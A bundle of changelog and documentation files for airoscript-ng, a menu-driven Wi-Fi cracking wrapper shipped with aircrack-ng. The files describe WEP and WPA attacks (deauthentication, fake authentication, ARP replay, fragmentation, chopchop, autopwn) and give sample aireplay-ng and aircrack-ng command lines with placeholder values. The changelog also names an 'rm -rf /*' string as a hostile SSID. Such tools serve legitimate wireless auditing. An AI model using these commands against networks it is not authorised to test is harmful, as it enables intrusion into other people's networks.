network cracked, it'll ask for creating a report upon exit - Added autopawn functionality - Added plugins system - Added sslstrip plugin (experimental) - Added zenity graphical interface (as plugin) - Added digenpy plugin - Deleted old dictionary generators - Added john the ripper plugin - Fixed WPA cracking - Fixed some wep options - Made auth functions less verbose - Added autoconfigure option in arguments - Updated airoscript-ng manpage - Fixed some broken options - Added a nice startup coloured ascii art logo - Fixed zenity plugins's autoscan dialog. - Fixed client selection menu Changelog for airoscript-ng 1.1 - Refactorised almost all functions - Fixed changing mac address - Rewrote airoscript-ng script to be more readable - Autoscan function at start. - Reordered options menu - Fixed menu creator function, now all menus can safely depend on this - Added loader function for config files and external files, to make it prettyer - New theme "minimal" is default now. - Configuration made much simpler. - Pmk databases from airolib-ng support - Decloaking support with airdecloak-ng - Added an option to create a virtual interface with airtun-ng - Kstats support - Airdecap-ng support - Some beauty colouring - Now you'll have to select a network at start - Fixed dictionary issues, now it's much simpler to add a dictionary generator. - Added automatic network configurator - Remade fake and auto auth menus into an "authentication" menu - Fixed the injection options (didn't work until now) - Support for PMK database - Support for custom commands (It'll ask you for extra options *in every command it executes*! use carefully!) - Lots of lil bugfixes on interface and cracking stuff - Fixed cracking WPA - Added a warning when wpa cracking - Fixed wpa handshake standard airodump-ng attack - Added Automatic network cracking option - Added cli interface - Using xhost to automatically setting resolution - Refactorished menu function, it's creating real nice menus now with shell scape codes - Same with target selection menu - Added an option to rescan for targets in starting auto scan. - Added airtun tool menu to airoscript - Code is now splitted in a more usable and editable way - Fixed menu function to work as expected - Some changes to make plugin generation way easier - Added airoscript-ng logo - Added source dependences, so we're not loading everything from the beggining - Made it all Changelog for airoscript-ng 1.0: - Fixed client selection menu - External functions now works - Fixed regex that breaked iw2200 - Fucking dos line endings in makefiles. - Lots of minor changes - Cosmetics on non-existant unstable functions - Splitted some functions from menu here - Code cosmetics on screen functions - Cleaner menu code - Refactoring on mac changer and cosmetics - Even more cosmetics, converted all menus to new styles - Little bugfix on menu - More cosmetics, some debug bugfixes - Little cosmetic on order of airoscript warn - Little themes fix on conffile - Cosmetics - Added initial usage warning - Minor fixes on config and screen functions - Changed airoscript-ng.sh to airoscript-ng - Splitted functions_internal from main functions file - Some aspect changes - Functions cleanup - improved airopdate - Refactorized external functions. Still untested. - Makefile minor fixes. Prev was conf fix - Some makefile minor fixes - Converting to airoscript-ng and cleaning shit - Some minor doc fixes - Now it won't only check if wifi is empty, also if wifi is in form fooo0. - Identified bug with iwl interfaces, waiting for feedback from reporter Changelog for airoscript 2.2 - Updated licenses on all documents (closes: ) - Bugfixes (lots) on airoscfunc.sh - Added airoswordlist.pl for automatising wordlist creation. - Added airosconf.sh for airoscript configuration modify trought command line - Added a initial display message advertising of airoscript use. - Added support for airserv-ng - Added tkiptun basic support - Support for a different interface for injection - Added more options to conffile. - Compatibility with cygwin - Added interactive mode, a more verbose airoscript mode. - More flexibility for fake auth stuff when doing other attacks. - Some rt61-oriented bugfixes. For instance it now changes the mac correcly. - Force user to pay more attention to macs asking to change mac to multiple mac options. - Added a "special case" terminal: GUI, so if gui is selected as terminal, airosperl will be executed as described in ticket (#123). Changelog for airoscript 2.1 - Bugfixes on terminal titles. - Now you can especify a terminal without editing config by passing it as parameter ( airoscript terminal ) - Added patches for debian-packaging wifislax and wifiway conffile - Added ~/.airoscript/ directory, where config can be stored, as .airoscript.screen-has-started and wordlist. - Now it cd's to DUMP_PATH so all residual data will remain there not in `pwd` - Added unstable functions file, and moved current one to a "external functions" file, since it requires from external binaries not aircrack-related. - Added unstable option in menu (only appears when unstable activated on config) - Added external functions to menu (same as unstable, only when activated on config) - Modified paths to /usr/local/ as it should be. - i10n upgrades for spanish. Changelog for airoscript 2.0.12 - Added real screen support - Corrected lots of bugs with i10n - Corrected bug in wlandecrypter bug - Modified CDCMD to write in a logfile (Not working, deleted) - Changed config so it whould not use unstable functions by default - Corrected lots of bugs in makefile, like having 755 permisions for screenrc file, $DESTDIR problems - Corrected more quoting problems :-) - Added support for jazzteldecrypter Changelog for airoscript 2.0.11 - Changed interface. Now it looks nicer. - Now it advises you if you don't have some optional thing installed and try to exec it. - It doesnt allow you to do something if you've had to do something else before and you haven't (for example, doing a selection (2) befora a scan (1) - Corrected some bugs - Added support for gettext - Added support for wlandecrypter - Added an "Auto" function - Added a "exit" function, asking user if he wants delete temporary directory and/or stop monitor mode on selected interface. - Code cleaned and reorganised. - Corrected lots of things in makefile - Added a "critical debug command" (well... it echoes every terminal command instead of executing it, for terminal related errors) Changelog for airoscript 2.0.10 - Here I come, I (XayOn) started here ;-). - Added multiple terminal support - Added theme support - Added config file support - Added aleatory temp dir creation - Wrote a makefile for airoscript - Corrected bug #521 (airopdate rt61 bug) Changelog for airoscript 2.0.9 -fixed client and clientless attacks chopchop and frag packet injection not generating IVs because -h MAC was not set -force frag, chopchop and aircrack-ng xterms to stay on screen after successfull command so you can see results -cleaned the code some more -cleaning functions needs more tweaks -atheros users need to use options 9 (monitor mode) before other commands to create-destroys correct VAPS -fixed "unary operator expected" msg (harmless bug) (not fully fixed because of "" generating errors in logic tests) -tweaked 2 steps attacks (frag, chopchop) to go to menu to inject after successfull first step -added option to jump to injection menu (added this to the main menu) -fixed AP encryption detection for cracking step (bug was introduced by "") -lowered adapter speed to 1M for wesside-ng attacks -added -hold to mdk attack to allow users to see results before the windows closes Changelog for airoscript 2.0.8 (27/01/2008) -added wesside-ng airoscript style usage -added interface type detection -tweaked menu -first attempt at making airoscript work with different adapters (add more card support)(BIG THX TO GREEN-FREQ!!!) -atheros device are now supported -added mdk3 -added back to main menu options -fixed chopchop attack (BIG THX TO GREEN-FREQ!!!) -tweaked FAKE_MAC function for atheros Changelog for 2.0.7b1 (21/01/2007) -changed capture from IVs to full date (ivs to cap) -updated script for new implementation of fragmentation attack -other minor modifications and tweaks Changelog for PRE-1.8.2-BETA1 (30/11/2006) -fixed all commands leading to : "head: Binary: invalid number of lines" (MAJOR THX TO ANDREA) -fixed all commands where SSID was truncated (MAJOR THX TO PILOTSNIPES) Changelog for airoscript 1.8.1 (03/11/2006) -bug fix release -fixed some problem in the SSID detection function (MAJOR THX TO andreahaku) -cleaned a few more typos and bugs -documentation completed a bit Changelog for airoscript 1.8 (17/10/2006) -dropped support for aircrack-ng 0.6.1 and older -will only work with patched version of aircrack-ng 0.6.2 (patches can be found in the forum under the programming section) -specifique channels hopping (for example channel 1,6,11 or 1-3,5-7,9,11) -Access point filtering during attack (airodump will only list attacked Access point) -new SSID detection, works with ALL ssid (supports all character and spacing possible) -new Access point selection menu that list all AP with encryption type (eliminates the WEP? problem) -option 2) now get you directly to a full list of AP -chopchop attack and fragmentation attack implement -WPA dictionnary attack implemented -changed menu 3,4,5 based on detection of AP encryption -added option to jump to associated client list from ap selection -color change support for xterm -Windows size and placement fully changeable from variables settings -changed filenames from SSID to MAC because of possible issues if weird SSID (to eliminate security menace (if SSID is something like "rm -rf /*" etc...) -added option an option to run "1) scan 2) select 3) attack" one after the other -added some comments in the script to help users -added greetings message (can be disabled setting WELCOME="1" to "0") Changelog for airoscript 1.7RC7 (24/09/2006) -added some resilience to the configure function now works properly with hidden ssid's and rausb devices Changelog for airoscript 1.7RC6 (19/09/2006) -Code cleanup -added deauth command to solointeractiveattack function -changed base variables (fudge factor & inject rate) Changelog for airoscript 1.7RC5 (14/09/2006) -Fixed minor cosmetic issue caused by carriage return char when ssid is missing (15/9/06) -Fixed the weird character match issue!! edit at will!!! -added an abitrary variable ($acv) to the aircrackversioncheck function which can be used in future to keep the script backwards compatible (had to guess at what version 0.6.0 of aircrack-ng displays when run on it's own? and version 0.5.so might not work??) -used new variable in crack function to check version and run correct crack command for the aricrack version installed fixing the bug on the B|T forum. Changelog for airoscript 1.7RC4 (13/09/2006) -corrected minor speellling issues ;o) -added aircrack-ng version detection function currently all it does is display aircrack version in the menu function (should be useful when new functionality is added to aircrack to allow backwards compatibility) -added solointeractiveattack function (designed to run just the airreplay interactive attack function only for use with an attack that has stalled i.e. data has stopped increasing, the user can try this for another injection thread! (might not actually work?? needs more testing does spawn and seems to work!) -added option to manually add ssid if a blank ssid is detected (this has some problems when certain editors are used as this is not strictly blank but a non printable character recommend kwrite on Back|track to edit script) aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/0000755000000000000000000000000012316431267021061 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/plugins.rst0000644000000000000000000000055711662075456023312 0ustar rootrootAiroscript plugin system ========================= Main rules ----------- * Airoscript plugin system is quite easy to understand. * Each plugin can modify airoscript's inner behaviour or add a menu entry on plugins' section. * Each plugin's name corresponds only to its deps, as each plugin can only use ONE external program (but plugins can depend on each other). aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/scan.rst0000644000000000000000000000022211662075516022537 0ustar rootrootScan ----- Scanning is a simple menu, just asking for encription (wich can be set up to be anything (default)) and channel (hoping by default). aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/configuration.rst0000644000000000000000000000000011662075516024454 0ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/config.rst.html0000644000000000000000000000714411711531302024016 0ustar rootroot Airoscript-ng configuration file

Airoscript-ng configuration file

Airoscript-ng's config is divided in two files, and some (not all) oiptions are configurable by arguments. Conffiles are airoscript-ng.conf and airoscript-ng_advanced.conf.

Standard configuration file

Here, we'll find a couple of sections, defining sets of arrays or variables.

Wordlists

WORDLIST The variable WORDLIST sets the original location of the wordlist that will be used by airoscript to crack WPA or manual dictionary WEP (see crack section).

Note that this file will be copied to DUMP_DIR, so, if you want to use a custom wordlist, AFTER airoscript-ng initialization, you've got to copy it to DUMP_PATH/WORDLIST_FILE_NAME having in account that WORDLIST_FILE_NAME contains no directories, is the basename of the WORDLIST variable.

db_location This variable will be passed to aircrack as the PMK database location.

Plugins support

The variable enabled_plugins is just an array of the plugins that will be loaded by default Actually, those are john the ripper and MDK3

Wireless interfaces

You can setup here wifi and iwifi interfaces. Wifi interface is the standard wifi interface, this will allow you to setup a iwifi interface, it will also make it not ask you to select an interface each time you start airoscript-ng.

Appearance

This configuration section will allow you to make airoscript prettier for you. Variables:

  • theme : The theme file, theme files are stored in path/themes/
  • DEFAULT_MONITOR_MODE : (Bool) start or not monitor mode on selected interface by default.
  • SHOW_SMALL_MENU : (Bool) Show a small version of all the menus, with just the title, perfect for small screens.
  • show_only_wireless_extensions: (Bool) Show only interfaces with wireless extensions enabled. If your card is not detected by airoscript, you might set this to 0.
  • Show warning (Bool) (Currently no effect) Shows an usage warning at startup
  • INTERACTIVE (Bool): Asks for some more stuffs than usual
  • force_mac_address (Bool): Do not check for mac address mode.
  • MON_PREFIX : Prefix to use for airoscript-created virtual interfaces (passed to airmon_ng), this will be used, for example, for interface cleanup.
  • ADDOPTIONS : HARDCORE: THIS WILL ASK YOU FOR EXTRA OPTIONS FOREACH COMMAND IT EXECUTES.

Advanced configuration file

Advanced configuration will not be covered here, it's allways changing, and the most remarcable things are aircrack-ng configuration values and debug mode.

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/autopwn.rst0000644000000000000000000000037411662075516023320 0ustar rootrootAutopwn -------- Autopwn function will try each available (and enabled) attack against every network available. You can specify essid filters, and change enabled attacks in advanced airoscript-ng configuration, have a look at main usage for argument. aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/autopwn.rst.html0000644000000000000000000000147611711531302024250 0ustar rootroot Autopwn

Autopwn

Autopwn function will try each available (and enabled) attack against every network available. You can specify essid filters, and change enabled attacks in advanced airoscript-ng configuration, have a look at main usage for argument.

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/others/0000755000000000000000000000000012316431267022365 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/others/advanced.rst0000644000000000000000000001154711662100350024661 0ustar rootrootAdvanced tools ================ Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here. Injection +++++++++ Chop chop and fragmentation attacks. Those are only usable when you already have xor files. About chopchop attack (got from aircrack-ng wiki): :: This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet. .. _ChopChop on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop About frag attack (got from aircrack-ng wiki): :: This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack. .. _Fragmentation attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fragmentation Autentication ++++++++++++++ This will provide Fake auth and Deauth attacks. Fake auth attack, from aircrack-ng wiki: :: The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points. .. _Fake auth attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication Deauth attack, from aircrack-ng wiki: :: This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons: - Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloakedâ€. - Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate - Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected) - Of course, this attack is totally useless if there are no associated wireless client or on fake authentications. .. _Deauth attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=deauthentication Operations with ivstools ++++++++++++++++++++++++ Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones. Decloak packages +++++++++++++++++ Launches a nice selection menu about airdecloack-ng options. .. _Airdecloack-ng on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=airdecloak-ng :: Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent†cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff. Create virtual interface with airtun-ng ++++++++++++++++++++++++++++++++++++++++ Creates a virtual interface with the cracked wep key using airtun-ng. Diagnostics and reports ++++++++++++++++++++++++ This menu makes airgraph-ng reports. Auto crack wep with wesside-ng +++++++++++++++++++++++++++++++ Launches wesside-ng to try to auto-crack the network. :: Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention. .. _Wesside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=wesside-ng Easside-ng +++++++++++ An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .. _easside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=easside-ng aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/others/options.rst0000644000000000000000000000041011662100350024572 0ustar rootrootAiroscript options =================== This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup. - Change / reset interface - Change interface MAC - Enable monitor mode - Change dump path - Try to configure network aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/others/external.rst0000644000000000000000000000076611662100350024737 0ustar rootrootExternal plugins ================= Here, plugins enabled in config or startup parameters will have its menus. Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way: :: plugins_menu+=("This is the menu entry"); And then creating a function, composed by the menu name, replacing spaces by underscores. :: This_is_the_menu_entry(){ # Here do stuff } For more info on plugin creation you can have a look at the manual page. aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/index.rst0000644000000000000000000000046011662075516022726 0ustar rootrootAiroscript documentation ------------------------- .. _Attack wep: attack-wep.rst.html .. _Attack wpa: ./attack-wpa.rst.html .. _Autopwn: ./autopwn.rst.html .. _Config: ./config.rst.html .. _Crack: ./crack.rst.html .. _Exit: ./exit.rst.html .. _Others: ./others.rst.html .. _Scan: ./scan.rst.html aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/attack-wpa.rst.html0000644000000000000000000000530211711531302024577 0ustar rootroot WPA attacks

WPA attacks

Standard attack

Here airoscript will send a deauth attack, so we can get the handshake, and launch airodump-ng to listen for it.

::
airodump-ng -w DUMP_PATH/HOST_MAC --bssid HOST_MAC --channel CHANNEL -a WIFI_INTERFACE

It will ask you for the kind of deauth attack you want to use (have a look at Authentication) TODO: ADD LINK

You can read more about it on: http://www.aircrack-ng.org/doku.php?id=cracking_wpa&s[]=wpa

WMM Attack

Have in account that this attacks will most probably not work, it an advanced attack not meant for novice users that might need fine-tuning inside airoscript itself.

Got from the aircrack-ng wiki:

Tkiptun-ng is the proof-of-concept implementation the WPA/TKIP attack.
This attack is described in the paper, Practical attacks against WEP and
WPA written by Martin Beck and Erik Tews. The paper describes advanced
attacks on WEP and the first practical attack on WPA. An additional excellent
references explaining how tkiptun-ng does its magic is this ars technica
article Battered, but not broken: understanding the WPA crack by Glenn Fleishman.

Basically tkiptun-ng starts by obtaining the plaintext of a small packet and
the MIC (Message Integrity Check). This is done via chopchop-type method.
Once this is done, the MICHAEL algorithm is reversed the MIC key used to
protect packets being sent from the AP to the client can be calculated.

At this point, tkiptun-ng has recovered the MIC key and knows a keystram
for access point to client communication. Subsequently, using the XOR file,
you can create new packets and inject them. The creation and injection are
done using the other aircrack-ng suite tools.

You can read more here: http://www.aircrack-ng.org/doku.php?id=tkiptun-ng

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/attack-wep.rst.html0000644000000000000000000001777011711531302024617 0ustar rootroot Wep attacks

Wep attacks

images/wep-attacks.png

Attacks not using a client

images/wep-attacks-noclient.png

If you have no connected clients (for example, if you've only got one wireless card, and you're auditing your own network) you might need to use this attacks.

Fake auth (Automatic)

Airoscript here performs a fake auth attack, to associate with AP, and a arp replay attack for injection, typically doing something like:

aireplay-ng WIFI_INTERFACE --arpreplay -b TARJET_MAC -d INJECTION_MAC -f 1 -m 68 -h FAKE_MAC -x 1000
aireplay-ng -3 -b AP_MAC -h SOURCE_MAC WIFI_INTERFACE

Where source mac (in this case) is INJ_MAC

That is, fake auth and arp replay attacks. Basically, according to aircrack-ng wiki:

The fake authentication attack allows you to perform the two types of WEP
authentication (Open System and Shared Key) plus associate with the access point (AP).
This is only useful when you need an associated MAC address in various aireplay-ng attacks
and there is currently no associated client. It should be noted that the fake authentication
attack does NOT generate any ARP packets. Fake authentication cannot be used to
authenticate/associate with WPA/WPA2 Access Points.

The classic ARP request replay attack is the most effective way to generate new
initialization vectors (IVs), and works very reliably. The program listens for an ARP packet
then retransmits it back to the access point. This, in turn, causes the access point to repeat
the ARP packet with a new IV. The program retransmits the same ARP packet over and over.
However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs
which allow you to determine the WEP key.

In interactive mode, you'll be asked for the "f" (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF)

Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication and _ARP replay at: http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection

Fake auth (Interactive)

Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets.

Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication

Fragmentation attack

Here, airoscript-ng kills every airodump-ng and aireplay-ng processes (-9 kill, be careful as all airodump processes will stop recording and not save data) and removes all old fragmentation captures and normal captures (hard-cleans everything). Be careful!

Note to self: IF NO _DUMP_PATH_ PROVIDED, AND NO HOST MAC PROVIDED (It's imposible to get here with airoscript, just if you source attacks/wep and execute directly wep_attacks_fragmentation) it will do a rm /* wich is dangerous

Then it launches aireplay, in this case, assuming you've no clients, with injection (-5, --fragment option) like this:

aireplay-ng -5 -b AP_MAC -h FAKE_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE

Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation

Chopchop attack

Makes a hardclean. Starts capturing, fake auth (3) and aireplay with chopchop attack, then it calls the _Injection menu: injection.html

aireplay --chopchop -b AP_MAC -h FAKE_MAC WIFI_INTERFACE

According to aircrack-ng wiki:

This attack, when successful, can decrypt a WEP data packet without knowing the key.
It can even work against dynamic WEP. This attack does not recover the WEP key itself,
but merely reveals the plaintext. However, some access points are not vulnerable to this
attack. Some may seem vulnerable at first but actually drop data packets shorter
that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay
tries to guess the rest of the missing data, as far as the headers are predictable.
If an IP packet is captured, it additionally checks if the checksum of the header
is correct after guessing the missing parts of it. This attack requires at
least one WEP data packet.

Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop

Attacks using a client

images/wep-attacks-client.png

When the ap has a client connected, you can use the following attacks.

Arp replay (Automatic)

Calls aireplay-ng for a arpreplay, as in fake auth, except that does not execute a fake auth attack.

aireplay WIFI_INTERFACE --arpreplay -b AP_MAC -d INJECTION_MAC\
-f 1 -m 68 -n 86 -h CLIENT_MAC -x INJECTRATE

Arp replay (Interactive)

Same as previous attack, interactive mode.

Fragmentation attack

Have a look at fragmentation attack without clients, this is basically the same, except for aireplay-ng being called with -7 option, like this:

aireplay-ng -7 -b AP_MAC -h CLIENT_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE

Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation

Chopchop attack

Almost the same as non-client directed chopchop, except this one does not make a fake_auth attack, and provides client_mac like this:

aireplay-ng --chopchop -h CLIENT_MAC WIFI_INTERFACE

It also calls inject menu, directed for chopchop.

Cafe latte attack

It just executes fakeauth3 and caffe late attack ( -6 option to aireplay-ng )

According to aircrack-ng wiki:

The Cafe Latte attack allows you to obtain a WEP key from a client system.
Briefly, this is done by capturing an ARP packet from the client, manipulating
it and then send it back to the client. The client in turn generates packets
which can be captured by airodump-ng. Subsequently, aircrack-ng can be used
to determine the WEP key.

Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=caffe-lat

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/Toc.rst.html0000644000000000000000000002611411711531302023274 0ustar rootroot

Crack

This section defines cracking menu.

Note: If "pipe" variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually)

Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto)

WPA Crack

It will execute attacks against a wordlist.

WEP Crack

Default

Executes aircrack-ng with the following options

"$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey"; $clear; break ;;

Korek

Executes aircrack-ng with the following options

AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey

Interactive

Same as default, except that it allows you to enter personalized fudge_factor and enc_size.

Executes aircrack-ng with the following options:

::
AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey

Others menu

This menu contains all not-frequently used (but nice) options.

Airoscript options

This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup.

  • Change / reset interface
  • Change interface MAC
  • Enable monitor mode
  • Change dump path
  • Try to configure network

External plugins

Here, plugins enabled in config or startup parameters will have its menus. Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way:

plugins_menu+=("This is the menu entry");

And then creating a function, composed by the menu name, replacing spaces by underscores.

::

This_is_the_menu_entry(){

# Here do stuff

}

For more info on plugin creation you can have a look at the manual page.

Advanced tools

Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here.

Injection

Chop chop and fragmentation attacks. Those are only usable when you already have xor files.

About chopchop attack (got from aircrack-ng wiki):

This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.

About frag attack (got from aircrack-ng wiki):

::
This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.

Autentication

This will provide Fake auth and Deauth attacks.

Fake auth attack, from aircrack-ng wiki:

The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.

Deauth attack, from aircrack-ng wiki:

This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:
- Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloakedâ€.
- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
- Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.

Operations with ivstools

Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones.

Decloak packages

Launches a nice selection menu about airdecloack-ng options.

::
Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent†cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.

Create virtual interface with airtun-ng

Creates a virtual interface with the cracked wep key using airtun-ng.

Diagnostics and reports

This menu makes airgraph-ng reports.

Auto crack wep with wesside-ng

Launches wesside-ng to try to auto-crack the network.

Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.

Easside-ng

An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .. _easside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=easside-ng

Autopwn

Autopwn function will try each available (and enabled) attack against every network available. You can specify essid filters, and change enabled attacks in advanced airoscript-ng configuration, have a look at main usage for argument.

aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/crack.rst.html0000644000000000000000000000401611711531302023627 0ustar rootroot Crack

Crack

This section defines cracking menu.

Note: If "pipe" variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually)

Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto)

WPA Crack

It will execute attacks against a wordlist.

WEP Crack

Default

Executes aircrack-ng with the following options

"$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey"; $clear; break ;;

Korek

Executes aircrack-ng with the following options

AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey

Interactive

Same as default, except that it allows you to enter personalized fudge_factor and enc_size.

Executes aircrack-ng with the following options:

::
AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey
aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/rst/config.rst0000644000000000000000000000506411662075456023074 0ustar rootrootAiroscript-ng configuration file --------------------------------- Airoscript-ng's config is divided in two files, and some (not all) oiptions are configurable by arguments. Conffiles are airoscript-ng.conf and airoscript-ng_advanced.conf. Standard configuration file =========================== Here, we'll find a couple of sections, defining sets of arrays or variables. Wordlists ++++++++++ *WORDLIST* The variable WORDLIST sets the original location of the wordlist that will be used by airoscript to crack WPA or manual dictionary WEP (see crack section). Note that this file will be copied to DUMP_DIR, so, if you want to use a custom wordlist, AFTER airoscript-ng initialization, you've got to copy it to *DUMP_PATH/WORDLIST_FILE_NAME* having in account that WORDLIST_FILE_NAME contains no directories, is the basename of the WORDLIST variable. *db_location* This variable will be passed to aircrack as the PMK database location. Plugins support ++++++++++++++++ The variable enabled_plugins is just an array of the plugins that will be loaded by default Actually, those are john the ripper and MDK3 Wireless interfaces 